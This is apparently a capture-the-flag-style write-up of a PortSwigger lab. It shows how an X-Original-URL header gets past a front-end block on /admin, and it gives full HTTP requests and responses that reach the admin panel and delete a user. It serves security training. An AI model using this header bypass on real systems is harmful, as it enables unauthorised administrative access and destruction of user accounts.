| Field | Details |
|---|---|
| Platform | PortSwigger Web Security Academy |
| Type | Access Control (Platform Misconfiguration, X-Original-URL Bypass) |
| Difficulty | Practitioner |
| Objective | Access the admin panel and delete the user carlos |
URL-Based Access Control Can Be Circumvented¶
X-Original-URL is used to preserve the original URL requested by the client, particularly when a proxy or middleware modifies or rewrites the URL before it reaches the back-end. Going to /admin:
Access denied — a front-end is blocking this path. Intercepting the request, there's no X-Original-URL header present at all.
Adding the header manually:
GET /admin HTTP/2
Host: 0a0a003a041405d080ef8fb600010086.web-security-academy.net
Cookie: session=Dhrh2g9J1hLS8tLWl8lBqObQe2ptW6PC
X-Original-Url: /teto
Still 403 — the front-end is blocking the actual request path /admin regardless of the header. Switching the request line to root while keeping the header:
GET / HTTP/2
Host: 0a0a003a041405d080ef8fb600010086.web-security-academy.net
Cookie: session=Dhrh2g9J1hLS8tLWl8lBqObQe2ptW6PC
X-Original-Url: /teto
This gives a 404 — the front-end now lets the request through (since / isn't blocked), and the back-end is processing X-Original-URL: /teto as the actual path, which doesn't exist. Pointing X-Original-URL at /admin:
GET / HTTP/2
Host: 0a0a003a041405d080ef8fb600010086.web-security-academy.net
Cookie: session=Dhrh2g9J1hLS8tLWl8lBqObQe2ptW6PC
X-Original-Url: /admin
200 OK — the admin panel renders. The front-end only checked the literal request-line path (/), while the back-end routes based on X-Original-URL (/admin).
Trying the delete endpoint directly via the header:
GET / HTTP/2
Host: 0a0a003a041405d080ef8fb600010086.web-security-academy.net
Cookie: session=Dhrh2g9J1hLS8tLWl8lBqObQe2ptW6PC
X-Original-Url: /admin/delete?username=carlos
HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 30
"Missing parameter 'username'"
The query string in X-Original-URL isn't being picked up as the username parameter. Moving the query string to the actual request line instead, keeping just the path in the header:
GET /?username=carlos HTTP/2
Host: 0a0a003a041405d080ef8fb600010086.web-security-academy.net
Cookie: session=Dhrh2g9J1hLS8tLWl8lBqObQe2ptW6PC
X-Original-Url: /admin/delete
This returns a 302 redirect. Following it shows "access denied" on the redirect target itself.
But the delete already went through
Carlos is deleted and the lab solved
Dead Ends & Rabbit Holes¶
- Putting the full path-plus-query (
/admin/delete?username=carlos) intoX-Original-URLgives "Missing parameter 'username'" — the back-end appears to parse the path and query string from different sources (header for path, actual request line for query params), so splitting them across the two is what's needed.